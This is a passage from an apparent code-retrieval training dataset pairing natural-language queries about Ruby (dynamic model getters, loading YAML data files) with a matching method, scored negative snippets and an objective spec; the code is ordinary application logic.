"0.53107405",
"0.5305905",
"0.5304306",
"0.5286263",
"0.52846026",
"0.5278735",
"0.52721584",
"0.52673817",
"0.52657944",
"0.5252876",
"0.52492905",
"0.5249107",
"0.5246577",
"0.5238301",
"0.52375984",
"0.52351385",
"0.52326864",
"0.5230055",
"0.52230835",
"0.52171123",
"0.52133",
"0.52071714",
"0.5200451",
"0.51991725",
"0.51988727",
"0.5198705",
"0.5196711",
"0.51946586",
"0.5193893",
"0.5193366",
"0.5191762",
"0.5190148",
"0.5188201",
"0.51857376",
"0.5178166",
"0.5173207",
"0.5170283",
"0.5170085",
"0.51516294",
"0.5150915",
"0.51472586"
] |
0.71444905
|
0
|
Sets up models getters dynamically (events, decisions)
|
def define_models_getters
self.class::SEEDED_MODELS.each do |seed_model|
seed_model_name = seed_model.underscore.pluralize.to_sym
define_singleton_method(seed_model_name) do
@data[seed_model_name]
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_and_model; end",
"def set_model\n\n # check credentials and handle OpenStack Keystone\n # TODO: check expiration dates on Keystone tokens\n raise \"You are not authorized to use this endpoint!\" unless check_authn\n\n #\n model = get('/-/')\n @model = Occi::Model.new(model)\n\n @mixins = {\n :os_tpl => [],\n :resource_tpl => []\n }\n\n #\n get_os_templates.each do |os_tpl|\n unless os_tpl.nil? || os_tpl.type_identifier.nil?\n tid = os_tpl.type_identifier.strip\n @mixins[:os_tpl] << tid unless tid.empty?\n end\n end\n\n #\n get_resource_templates.each do |res_tpl|\n unless res_tpl.nil? || res_tpl.type_identifier.nil?\n tid = res_tpl.type_identifier.strip\n @mixins[:resource_tpl] << tid unless tid.empty?\n end\n end\n\n model\n end",
"def setup(model_class); end",
"def setup(model_class); end",
"def initialize_model\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def setup!(model, options)\n super\n @model = self.class.decorator_class.new(@model)\n end",
"def getters; end",
"def define_request_methods\n\t MODEL_CLASSES.each do |request_class|\n\t endpoint_instance = request_class.new(self)\n\t create_methods_from_instance(endpoint_instance)\n\t end\n\t end",
"def derive_models\n filter_schedule\n scheduled_activity_report.derive_models\n build_event_templates\n end",
"def create_model_design_doc_reader\n model.instance_eval \"def #{method}; @#{method}; end\"\n end",
"def event_model(model); self.model.event_model(model) end",
"def method_missing(message, *args, &block)\n if @nested_model_instances.include?(message)\n # Get nested model accessor\n @nested_model_instances[message]\n elsif message =~ /^([^=]+)=$/\n # Set nested model accessor\n attr = message.to_s.chop.to_sym\n if @nested_model_instances.include?(attr)\n @nested_model_instances[attr] = args.first\n else\n super\n end\n else\n super\n end\n end",
"def define_getter_for(name)\n define_method(\"#{name}\") do\n instance_variable_get(\"@#{name}\") or\n instance_variable_set(\"@#{name}\", deserialize(name)) or\n instance_variable_set(\"@#{name}\", load_associated(name))\n end\n end",
"def initialize\n @proxy_map = {}\n initialize_model\n end",
"def define_accessors\n self.metadata.properties_and_identity.each do |name, _|\n self.model.send :attr_accessor, name.downcase\n end\n end",
"def method_missing(meth, *args, &block)\n if model.respond_to?(meth)\n merge(model.public_send(meth, *args, &block))\n else\n super\n end\n end",
"def initialize\n self.models = Hash[\n MongoMapper::Document.descendants.select { |c| c.name }.map { |c|\n [c.name.tableize, c]\n }\n ]\n end",
"def model!(options, params:)\n options['model'] = Event.find(params[:id])\n end",
"def get_models\n eval \"@#{controller_name} = #{controller_name.singular.camelcase}.all\"\n end",
"def models\n @models ||= {}\n end",
"def set_model\n @model=Info\n end",
"def load_objects\n instance_variable_set(\"@#{model_name.underscore.pluralize}\", (@instances = model.where(params || {}) rescue nil))\n end",
"def create_getters\n self.class::ATTRS.each do |method_name|\n self.class.class_eval do\n define_method(method_name) do\n get_webpage\n eval(\"scrape_#{method_name}\")\n eval(\"@#{method_name}\")\n end\n end\n end\n end",
"def models\n @models ||= Prepares.models\n end",
"def test_model_model_get\n models = %w(Model1 Model2 Model3 Model4)\n values = [%w(one1 many1 belong1 att1 ser1), %w(one2 many2 belong2 att2 ser2), %w(one3 many3 belong3 att3 ser3)]\n models.each do |model_name|\n assert model = Microformats::Models.model_get(model_name), \"Failed to get new model #{model}\"\n assert_equal model.name, \"Microformats::Models::#{model_name}\", \"Name for model #{model} not set correctly\"\n # setup the initial values and test they are what we expect\n assert model.have_one << values[0][0], \"Failed to append #{values[0][0]} to #{model.name}.have_one\"\n assert model.have_many << values[0][1], \"Failed to append #{values[0][1]} to #{model.name}.have_many\"\n assert model.belong_to << values[0][2], \"Failed to append #{values[0][2]} to #{model.name}.belong_to\"\n assert model.validations << values[0][3], \"Failed to append #{values[0][3]} to #{model.name}.validations\"\n assert model.serialize << values[0][4], \"Failed to append #{values[0][4]} to #{model.name}.serialize\"\n # check they are there\n assert_equal model.have_one[0], values[0][0], \"Expected #{values[0][0]} but was #{model.have_one[0]}\"\n assert_equal model.have_many[0], values[0][1], \"Expected #{values[0][1]} but was #{model.have_many[0]}\"\n assert_equal model.belong_to[0], values[0][2], \"Expected #{values[0][2]} but was #{model.belong_to[0]}\"\n assert_equal model.validations[0], values[0][3], \"Expected #{values[0][3]} but was #{model.validations[0]}\"\n assert_equal model.serialize[0], values[0][4], \"Expected #{values[0][4]} but was #{model.serialize[0]}\"\n # append a 2nd value\n assert model.have_one << values[1][0], \"Failed to append #{values[1][0]} to #{model.name}.have_one\"\n assert model.have_many << values[1][1], \"Failed to append #{values[1][1]} to #{model.name}.have_many\"\n assert model.belong_to << values[1][2], \"Failed to append #{values[1][2]} to #{model.name}.belong_to\"\n assert model.validations << values[1][3], \"Failed to append #{values[1][3]} to #{model.name}.validations\"\n assert model.serialize << values[1][4], \"Failed to append #{values[1][4]} to #{model.name}.serialize\"\n # check it is there\n assert_equal model.have_one[1], values[1][0], \"Expected #{values[1][0]} but was #{model.have_one}\"\n assert_equal model.have_many[1], values[1][1], \"Expected #{values[1][1]} but was #{model.have_many}\"\n assert_equal model.belong_to[1], values[1][2], \"Expected #{values[1][2]} but was #{model.belong_to}\"\n assert_equal model.validations[1], values[1][3], \"Expected #{values[1][3]} but was #{model.validations}\"\n assert_equal model.serialize[1], values[1][4], \"Expected #{values[1][4]} but was #{model.serialize}\"\n # try to add a duplicate\n assert_nil model.have_one << values[1][0], \"Should not be able to append #{values[1][0]} to #{model.name}.have_one\"\n assert_nil model.have_many << values[1][1], \"Should not be able to append #{values[1][1]} to #{model.name}.have_many\"\n assert_nil model.belong_to << values[1][2], \"Should not be able to append #{values[1][2]} to #{model.name}.belong_to\"\n assert_nil model.validations << values[1][3], \"Should not be able to append #{values[1][3]} to #{model.name}.validations\"\n assert_nil model.serialize << values[1][4], \"Should not be able to append #{values[1][4]} to #{model.name}.serialize\"\n # check the orginals are still valid\n assert_equal model.have_one[0], values[0][0], \"Expected #{values[0][0]} but was #{model.have_one[0]}\"\n assert_equal model.have_many[0], values[0][1], \"Expected #{values[0][1]} but was #{model.have_many[0]}\"\n assert_equal model.belong_to[0], values[0][2], \"Expected #{values[0][2]} but was #{model.belong_to[0]}\"\n assert_equal model.validations[0], values[0][3], \"Expected #{values[0][3]} but was #{model.validations[0]}\"\n assert_equal model.serialize[0], values[0][4], \"Expected #{values[0][4]} but was #{model.serialize[0]}\"\n # re-define the whole shooting match\n# model.have_one, model.have_many, model.belong_to, model.validations = *values[2]\n# assert_equal model.have_one[0], values[2][0], \"Expected #{values[2][0]} but was #{model.have_one[0]}\"\n# assert_equal model.have_many[0], values[2][1], \"Expected #{values[2][1]} but was #{model.have_many[0]}\"\n# assert_equal model.belong_to[0], values[2][2], \"Expected #{values[2][2]} but was #{model.belong_to[0]}\"\n# assert_equal model.validations[0], values[2][3], \"Expected #{values[2][3]} but was #{model.validations[0]}\"\n # and is this the only attribute\n# assert_equal model.have_one.length, 1, \"Expected 1 value but got #{model.have_one}\"\n# assert_equal model.have_many.length, 1, \"Expected 1 value but got #{model.have_many}\"\n# assert_equal model.belong_to.length, 1, \"Expected 1 value but got #{model.belong_to}\"\n# assert_equal model.validations.length, 1, \"Expected 1 value but got #{model.validations}\"\n end\n # test the enumerator\n end",
"def model\n obj = versionable.class.new\n YAML::load( self.yaml ).each do |var_name,var_value|\n obj.__send__( \"#{var_name}=\", var_value )\n end\n obj\n end",
"def initialize(model)\n\t\t\t@name = model.to_s\n\t\t\t@ar_model = ARModel.new(model)\n\t\t\t\n\n\n @api_model = APIModel.new(model, Hash[@ar_model.schema])\n\t\t\t@field_relationships = generate_field_relationships(@ar_model.schema)\n\t\t\tputs @field_relationships\n\t\tend",
"def setup_object_attributes; end",
"def set_model\n @model = Info\n end",
"def method_missing(method, *args)\n self.get unless self.loaded\n\n [:attributes, :objects, :links].each do |field|\n if self.send(field).respond_to?(method)\n if self.class == HyperResource\n define_singleton_method(method) do |*argz|\n self.send(field).send(method, *argz)\n end\n else\n self.class.send(:define_method, method) do |*argz|\n self.send(field).send(method, *argz)\n end\n end\n return self.send(field).send(method, *args)\n end\n end\n super\n end",
"def setup!\n setup_instance_methods!\n @owner_class.embedded_relations = @owner_class.embedded_relations.merge(name => self)\n @owner_class.aliased_fields[name.to_s] = store_as if store_as\n self\n end",
"def private_model; @private_model = true end",
"def set_model\n @model = Response.find(params[:id])\n end",
"def initialize(model)\n @model = model\n end",
"def gr_policy_setup\n begin\n # If there are no accessors for the model object's accessors,\n # they need to be defined so we can alias them\n define_attribute_methods\n rescue\n end\n \n if self.respond_to?(\"reflections\")\n\n # Make a dummy instance of the ActiveRecord class\n # so that we can read off its list of attributes\n dummy = eval(\"#{self}.new\")\n attrs = dummy.attribute_names\n\n # We need to override the accessors both for attributes\n # and reflections (i.e belongs_to, has_many, etc.)\n for var in reflections.keys + attrs do\n\n # Setter - \n self.class_eval(\"alias :old_#{var}= :#{var}=\")\n self.class_eval(\"\n define_method(:#{var}=) do |val|\n # We need the old value in order to make judgments \n # about whether or not certain accesses are allowed\n # In particular, the access control policies are attached\n # to the value being edited (unless its frozen) so \n # we need the object itself to decide if it can be changed.\n # In addition, the old object is used for comparisons\n # to distinguish complete edits from simple appends.\n\n\t\t target = old_#{var}\n\n # If the current version of the data is frozen, then\n # we can't judge it by its attached data policy and\n # instead must turn to its owner and its frozen_policy_store\n # then put that in target so it looks no different\n # than if it were not frozen\n\n\t\t if target.nil? || target.frozen?\n target = Object.new\n\t\t if !self.frozen_policy_store[:#{var}].nil?\n \t\t target.assign_policy(:write_access, \n self.frozen_policy_store[:#{var}][:write_access])\t\t\n\t\t end\n\t\t end\n \n # In order for an edit to be allowed, both the object\n # to be edited, and the object that owns the field that\n # is being edited must have edit permissions. The exception\n # to this is if the change is appending to the content and\n # appends are explicity allowed\n\n if gr_can_edit? and target.gr_can_edit?\n return self.send('old_#{var}=',val) #Edits allowed \n elsif target.gr_append_check? val\n if gr_can_append? and target.gr_can_append?\n return self.send('old_#{var}=',val)\n else\n return eval_violation(:append_access) if target.gr_can_append?\n return target.eval_violation(:append_access)\n end\n else\n # Edits not allowed and appends either not applicable\n # or also not allowed\n return eval_violation(:write_access) if target.gr_can_edit?\n return target.eval_violation(:write_access)\n end\n\t end\")\n\n # Getter\n self.class_eval(\"alias :old_#{var} :#{var}\")\n self.class_eval(\"\n define_method(:#{var}) do\n \n # Actually get the value in question, but we only\n # return it if read access is allowed. We also\n # need this value to perform checks against the\n # access control policy\n\n \t target = old_#{var}\n\n # We assume that having a value of nil tells no one\n # any particularly useful information, so if the \n # object is nil, we just skip the rest and return it.\n\n\t return if target.nil?\n \n # If the data being returned is an array, then we need\n # to do some extra checks. First, the array cannot \n # contain any objects which are themselves hidden. \n # Second, we need to check if the Array is wrapped\n # with a Rails proxy that will allow it to make changes\n # to the database after the leaving this function. If\n # this is the case, we must wrap the proxy with one of\n # our proxies (AssociationProxyWrapper) so that methods\n # called on the returned proxied array cannot change\n # the database if not allowed by the access control policies\n\n isproxy = target.respond_to?('proxy_reflection')\n if target.is_a?(Array)\n new_array = visible_array(target)\n if isproxy\n target.target = new_array\n target = AssociationProxyWrapper.new(target,self)\n\n # Pull the appropriate policy from the owner of the\n # field's plural policy store (see GObject.rb)\n\n hsh = self.plural_policy_store[:#{var}]\n if !hsh.nil?\n hsh.each do |policy, func|\n target.assign_policy(policy, func)\n end\n end\n else\n target = new_array\n end\n end\n \n # If the object in question is visible, then we can return it \n\t return target if (target.gr_is_visible? && self.gr_is_visible?)\n\n # If the target is visible, then it must be the owner that\n # is hidden, so evaluate the violation there\n return eval_violation(:read_access) if target.gr_is_visible?\n\n # If this line is reached, then the visibility issue\n # lies with the target, so the violation should be \n # evaluated on it\n return target.eval_violation(:read_access)\n\t end\")\n \n # Our current implementation overrides only the\n # default accessors, however, [var]_before_type_cast\n # offers another route to the raw data that we need \n # to cover. For now, the two accessors are made\n # identical.\n \n # TODO: Distinguish the _before_type_cast accessor from\n # the normal getter so that they both preserve the security\n # policies, and their intended content formatting differences\n self.class_eval(\"alias :#{var}_before_type_cast #{var}\")\n end\n end\n end",
"def create_getter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n def #{@getter}\n attribute_get(#{name.inspect})\n end\n EOS\n\n if @primitive == TrueClass && [email protected]_methods.include?(@name.to_s)\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n alias #{@name} #{@getter}\n EOS\n end\n end",
"def model\n @model ||= operation.run\n end",
"def prepare\n model.tap do |p|\n p.identifier = set_identifiers\n p.meta = set_meta\n p.text = set_text\n p.status = COMPLETED_STATUS\n p.authored = set_date\n p.author = set_author\n p.subject = set_subject\n p.questionnaire = set_questionnaire\n p.group = set_group\n end\n end",
"def load_models!\n require \"models\"\n end",
"def initialize(model)\n @model = model\n end",
"def initialize(model)\n @model = model\n end",
"def initialize(model)\n @model = model\n end",
"def build_model\n self.model = nil # set up the model\n end",
"def initialize_models\n @models = {}\n @models[:required] = parse_models(@spec.files) if @spec.files\n end",
"def method_missing(method_name, *args, &block)\r\n if @loaded[method_name]\r\n @loaded[method_name]\r\n elsif self.class.associations(version)[method_name] ||\r\n self.class.model.reflect_on_association(method_name)\r\n\r\n class_eval <<CODE, __FILE__, __LINE__ + 1\r\ndef #{method_name}\r\n @loaded[#{method_name.inspect}] ||\r\n Restful::Resource::AssociationProxy.new(self, :#{method_name})\r\nend\r\nCODE\r\n\r\n send method_name\r\n elsif args.size <= 1 && attributes(*args).has_key?(method_name)\r\n self[method_name, *args]\r\n else\r\n super\r\n end\r\n # rescue => e\r\n # raise [method_name, args, block].inspect\r\n end",
"def force_load_models\n ClassEntry\n SingletonMethodEntry\n InstanceMethodEntry\n end",
"def model name, **params\n # <<- CLOSURE_SCOPE\n current = @current # closure scope\n params = @environs.merge params if @environs\n filled_or_maybe = optionality(params)\n params[:class] ||= name.to_s.gsub(/(?:\\A|_)./) { |m| m[-1].upcase }\n # CLOSURE_SCOPE\n\n schema do\n __send__(current, name).__send__(filled_or_maybe, model?: params[:class])\n end\n\n define_helper_methods name\n end",
"def setup\n return if resolved_model_definitions.present?\n @is_rake_task = false\n @is_rake_association_task = false\n @warnings = nil\n @log = false\n @log_clean = false\n check_rake_task\n @resolved_model_definitions = resolve_model_definition_classes_and_values\n end",
"def model; eval model_name; end",
"def model; eval model_name; end",
"def model=(model)\n @model = model\n end",
"def lookup_model_names; end",
"def model\n end",
"def initialize_fields_entities!\n @entity = SimpleAdmin::Entity.find_by(model_klass_name: model_klass.to_s)\n @entity_fields = @entity.entity_fields.where(presentation: field_presentation)\n end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def create_getter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n def #{@getter}\n self[#{name.inspect}]\n end\n EOS\n end",
"def populate_with_current_scope_attributes\n super\n define_dynamic_accessors\n end",
"def prepare\n Maadi::post_message(:More, \"Model (#{@type}) is ready\")\n\n super\n end",
"def configure_models(model)\n model_queue.each do |o|\n o.each do |k, v|\n model.add_model k, v\n end unless o.nil?\n end\n end",
"def _get_model_data(method)\n if @model.respond_to?(method)\n data = @model.send(method) \n if data\n @source.put_value(method,data)\n if method == :schema\n parsed = JSON.parse(data)\n schema_version = parsed['version']\n raise \"Mandatory version key is not defined in model schema method\" if schema_version.nil?\n @source.put_value(\"#{method}_sha1\",Digest::SHA1.hexdigest(schema_version))\n else\n @source.put_value(\"#{method}_sha1\",Digest::SHA1.hexdigest(data))\n end \n end\n end\n end",
"def initialize(attrs = {})\n @nested_model_instances = {}\n \n self._nested_models.each do |model|\n model_class = model.to_s.classify.constantize\n \n if attrs.include?(model)\n @nested_model_instances[model] = initialize_nested_model(model_class, attrs[model])\n else\n @nested_model_instances[model] = initialize_nested_model(model_class)\n end\n end\n \n self._dependencies.each do |from, tos|\n tos.each do |to|\n @nested_model_instances[from].public_send(\"#{to.to_s}=\", @nested_model_instances[to])\n end\n end\n end",
"def initialize(model, functions)\n @model = model\n @functions = []\n functions.each do |field_name, function|\n @functions << function.prepare(@model, field_name)\n end\n end",
"def initialize\n @models_by_instrument = {}\n end",
"def init\n adapter.setup_connection_specification_name\n adapter.process_excluded_models\n end",
"def setup!\n setup_instance_methods!\n self\n end",
"def create_accessors!\n instance.each do |key,val|\n create_accessor_for(key)\n end\n end",
"def attach_model\n model.each_member do |name, field|\n case field\n when OpenStructModel\n @members[name] ||= create_subfield(name)\n end\n end\n\n # Trigger updating the structure whenever the state model is\n # changed\n model.on_change(nil, false) do |name, value|\n if value.kind_of?(OpenStructModel)\n @members[name] ||= create_subfield(name)\n end\n end\n end",
"def initialize()\n @models = {}\n @path = Settings.get[\"trxml\"][\"path\"]\n @xmls = Settings.get[\"trxml\"][\"xmls\"]\n\n create_models\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def models\r\n\r\n end",
"def generate_models\n (translation.tables + translation.polymorphic_tables).each do |table|\n build_model(table)\n end\n end",
"def method_missing(*args)\n model.send(*args)\n end",
"def initialize_events # :nodoc:\n # Create all event generators\n bound_events = {}\n model.each_event do |ev_symbol, ev_model|\n ev = TaskEventGenerator.new(self, ev_model)\n ev.plan = plan\n bound_events[ev_symbol.to_sym] = ev\n end\n @bound_events = bound_events\n end",
"def all\n properties = get_properties\n create_models(properties)\n end",
"def model\n @model ||= resource.model\n end",
"def create_attribute_methods_on(model)\n #model.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n model.class_eval %(\n def self.values_for_#{attribute}\n self.bitmask_definitions[:#{attribute}].values\n end\n\n def self.values_with_bitmask_for_#{attribute}\n ret = []\n self.bitmask_definitions[:#{attribute}].values.each_with_index{|v,k| ret.push [v,k]}\n ret\n end\n )\n end",
"def set_attributes_and_model attributes\n self.attributes = attributes\n model_class = self.class.model_class(attributes)\n self.type = model_class.to_s\n self\n end",
"def define_dynamic_answer_setters!\n if offering\n offering.questions.find_all_by_dynamic_answer(true).each do |oq|\n if oq.display_as.include?(\"checkbox_options\")\n oq.options.each do |option|\n self.class.send :define_method, \"dynamic_answer_#{oq.id.to_s}_#{option.id.to_s}=\", Proc.new {|argv| set_answer(oq.id, argv, option.id)}\n end \n else\n self.class.send :define_method, \"dynamic_answer_#{oq.id.to_s}=\", Proc.new {|argv| set_answer(oq.id, argv)}\n end \n end\n end\n end",
"def create_getters\n instance_variables.each do |v|\n define_singleton_method(v.to_s.tr('@','')) do\n instance_variable_get(v)\n end\n end\n end",
"def load_attributes!\n return self if loaded?\n self.class.fields.each_pair do |name, field|\n attributes[name] = field.load(send(\"get_#{name}\")) if respond_to? \"get_#{name}\"\n end\n mark_loaded\n self\n end",
"def configure\n return quick_join if !join_model\n [subject_model, object_model, join_model].compact.each do |model| \n model.configure\n end \n end",
"def models\n @models ||= []\n end",
"def initialize_model\n { :def_class => BaseDefinition,\n :processes => [],\n :process_class => nil, :process_class_name => nil,\n :controller_class => nil, :controller_class_name => nil }\n end",
"def set_model_props(m)\n fields_to_set = action.context_mapping.keys.map{|k| k.split(\":=>\").first} - [\"type\"]\n fields_to_set.each do |f| \n value = self.send f.to_sym\n m.send \"#{f}=\".to_sym, value\n end\n end",
"def fetch(key, options = {})\n retries = 2 \n begin\n super\n rescue ArgumentError, NameError => exc \n if retries == 2\n if exc.message.match /undefined class\\/module (.+)$/\n $1.constantize\n end\n retries -= 1\n retry \n elsif retries == 1\n retries -= 1\n preload_models\n retry\n else \n raise exc\n end\n end\n end",
"def model\n end",
"def model\n end",
"def model\n end",
"def setup_properties!(_options)\n if model.identification\n self.catalog_record_ids = CatalogRecordId.links(model)\n self.other_catalog_record_ids = CatalogRecordId.other_links(model)\n self.refresh = CatalogRecordId.link_refresh(model)\n self.barcode = model.identification.barcode\n self.source_id = model.identification.sourceId\n end\n\n self.copyright = model.access.copyright\n self.use_statement = model.access.useAndReproductionStatement\n self.license = model.access.license\n setup_view_access_with_cdl_properties(model.access)\n end"
] |
[
"0.61836195",
"0.59848046",
"0.59007186",
"0.59007186",
"0.5809176",
"0.5799356",
"0.5799356",
"0.571037",
"0.57009894",
"0.569173",
"0.5616575",
"0.5551757",
"0.5543591",
"0.5489573",
"0.547214",
"0.5458027",
"0.5444136",
"0.5442101",
"0.5430536",
"0.54111964",
"0.54097253",
"0.5401513",
"0.5392971",
"0.53844655",
"0.53788316",
"0.5366692",
"0.53598976",
"0.5339081",
"0.5331638",
"0.53196985",
"0.5310333",
"0.53061444",
"0.5298477",
"0.52939445",
"0.5289989",
"0.5284578",
"0.52819794",
"0.5259285",
"0.5256917",
"0.5242128",
"0.5239408",
"0.5233706",
"0.5233706",
"0.5233706",
"0.5232045",
"0.52319825",
"0.52224827",
"0.52218735",
"0.52060425",
"0.52008474",
"0.51942444",
"0.51942444",
"0.5182629",
"0.51778936",
"0.51703495",
"0.5163737",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5161505",
"0.5147828",
"0.5144135",
"0.5137097",
"0.5131446",
"0.5128615",
"0.5123593",
"0.5120799",
"0.51200414",
"0.5109602",
"0.51036036",
"0.5102482",
"0.5100556",
"0.50970024",
"0.50881743",
"0.5086174",
"0.5085872",
"0.5081485",
"0.5078516",
"0.507642",
"0.50718004",
"0.5065589",
"0.5063064",
"0.50597405",
"0.50561285",
"0.50551134",
"0.50408417",
"0.5034881",
"0.50343114",
"0.5033934",
"0.50331265",
"0.50295615",
"0.50295615",
"0.50295615",
"0.502783"
] |
0.7178561
|
0
|
Loads data yml files in memory in data array attribute
|
def seed
@data = {}
SEEDED_MODELS.each do |model_name|
pluralized_model_name = model_name.underscore + 's'
filename = "app/data/#{pluralized_model_name}.yml"
# Load data as an array of objects
models_data = YAML.safe_load(File.read(filename)).deep_symbolize_keys
# Constantize model klass
model_klass = Class.const_get("CodeWars::#{model_name}")
# Map models data to new Instances
models_data.each_with_index do |model_data, i|
model = model_klass.new
model.load_attributes(model_data || {})
model.indexed_at = i
# Push to DataStore memory
@data[pluralized_model_name.to_sym] ||= []
@data[pluralized_model_name.to_sym] << model
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def load_data(data_file)\n puts \"FileGenTask: Loading data from YML file [ #{data_file} ]\" if @verbose\n df = DataFile.new\n @data = df.read( data_file )\n end",
"def data\n YAML::load_file(files[:config])\n end",
"def load_yml(filename); end",
"def load_data(filename=nil)\n filename=data_file(filename)\n return unless File.exist?(filename)\n case File.extname(filename).downcase\n when \".yaml\",\".yml\"\n YAML.load(File.open(filename))\n when \".json\"\n JSON.parse(File.read(filename))\n else\n File.read(filename)\n end\n end",
"def load_yaml_files\n @room_list = YAML.load_file(__dir__ + '/rooms.yml')\n @weapon_list = YAML.load_file(__dir__ + '/weapons.yml')\n @enemy_list = YAML.load_file(__dir__ + '/enemy.yml')\n @high_score_list = YAML.load_file(__dir__ + '/high_score.yml')\n end",
"def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n row = line.chomp.split( @app_delim ) \n @data << row\n end\n $valid_array = true\n end",
"def load_data\n data = {}.with_indifferent_access\n\n %w[.json .yaml].each do |ext|\n Dir.glob(\"#{DATA_DIR}/*#{ext}\") do |fname|\n key = File.basename(fname, ext).to_sym\n puts \"Loading data[:#{key}] from #{fname}...\"\n data[key] =\n if ext == '.json'\n JSON.parse(File.read(fname))\n else\n Psych.parse(fname)\n end\n end\n end\n\n data\n end",
"def load_data\n return false unless File.exist?(@file)\n\n @data = YAML.load_file(@file)\n @data = { :students => [] } unless @data\n @data[:students] = [] unless @data.key?(:students)\n end",
"def data_file\n @data_file ||= FileData.new(\"data.yml\")\n end",
"def load(data)\n end",
"def load_yaml_files(path)\n each_data_file(path).map { |file| YAML.load_file(file) }\n end",
"def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n # FIXME: use @app_delim\n row = line.chomp.split \"\\t\"\n @data << row\n end\n $valid_array = true\n end",
"def load_yaml(filename); end",
"def load\n @yaml_parts, @ruby_parts = lookup_parts\n @data.clear\n self.yaml_parts_in_loading_order.each do |yaml_part|\n yaml_data = YAML.load_file(yaml_part)\n part_sections = File.basename(yaml_part, '.yml').split('.')\n part_sections.delete_at 0 # delete the 'en' at the beginning\n if part_sections.empty?\n @data.merge! yaml_data\n else\n begin\n target_section = @data[*part_sections]\n raise EntryNotFound unless target_section.respond_to? :merge!\n target_section.merge! yaml_data\n rescue EntryNotFound\n @data[*part_sections] = yaml_data\n end\n end\n end\n \n @ruby_parts.each do |ruby_part|\n Kernel.load ruby_part\n end\n end",
"def load_data(options={})\n @data = @files.collect do |seeds_file|\n seeds_file.instanciate_data(@keys, :override => options[:override]) \n end.flatten.compact\n end",
"def load\n @filename = File.expand_path(file_name('feeds.yml'))\n end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def load_data\n\t\tload_using_arr(train_file,train_hash,0,1)\n\t\tload_using_arr(train_file,movie_hash,1,0)\n\tend",
"def load_data(*args)\n init_data_arrays # wipes all preexisting data in @data_collections and @data_objects\n \n args[0].each.with_index do |array_or_variable, i|\n if i < data_collection_names.count\n @data_collections[i] += array_or_variable \n else\n j = i - data_collection_names.count\n @data_objects[j] = array_or_variable # if array_or_variable.class != Array\n end\n end\n self\n end",
"def load_db\n input_data = File.read($fn)\n $cd_arr = YAML.load(input_data)\nend",
"def load_yml_data\n if File.exist? self.class.file_location\n # YAML.load_file returns false if the file exists but is empty. So\n # added the || {} to ensure we always return a hash from this method\n YAML.load_file(self.class.file_location) || {}\n else\n {}\n end\n end",
"def load\n @models = []\n\n # \n files = \n if File.directory?(config_path) \n files_in_dir = []\n Dir[config_path + \"/*.yml\"].each do |file|\n files_in_dir << file\n end\n files_in_dir\n elsif File.file?(config_path)\n [config_path]\n else\n nil\n end\n\n return nil if files.nil?\n\n # \n @models = files.inject(@models) do |models, file|\n begin\n yaml = YAML.load_file(file)\n rescue => ex\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n if yaml.nil?\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n models + yaml2models(yaml)\n end.extend(ArrayMethods)\n end",
"def load(filename)\n files= filename.include?(',') ? filename.split(',') : [filename]\n @yml = files.inject({}) do |total_merge,file|\n total_merge.merge!(::YAML.load(ERB.new(File.read(\"#{yml_directory}/#{file}\")).result(binding)))\n end\n end",
"def get_data(arg)\n dir_to_data = Dir.pwd + '/features/support'\n data = YAML.load_file(\"#{dir_to_data}/data_list.yml\")\n data['DataSet'][\"#{arg}\"]\nend",
"def load_decks_data\n @load_decks_data ||= YAML.safe_load(File.read(File.join(__dir__, 'decks.yml')))\n end",
"def load_yaml(file)\n @data = YAML.load(File.open(file))\n\n @data[\"people\"].each do |yaml_person|\n person = Person.new(yaml_person[\"fname\"], yaml_person[\"surname\"], yaml_person[\"dob\"])\n\n yaml_person[\"emails\"].each do |e|\n person.add_email(e)\n end\n\n yaml_person[\"phones\"].each do |e|\n person.add_phone(e)\n end\n\n add(person) \n end\n end",
"def initialize(path)\n @data = YAML.load_file(path)\n end",
"def load\r\n return unless File.exist?(STORAGE)\r\n\r\n props = YAML.load(File.read(STORAGE))\r\n props.each{|k, v| instance_variable_set(\"@#{k}\", v) }\r\n end",
"def initialize\n load_data\n end",
"def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend",
"def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend",
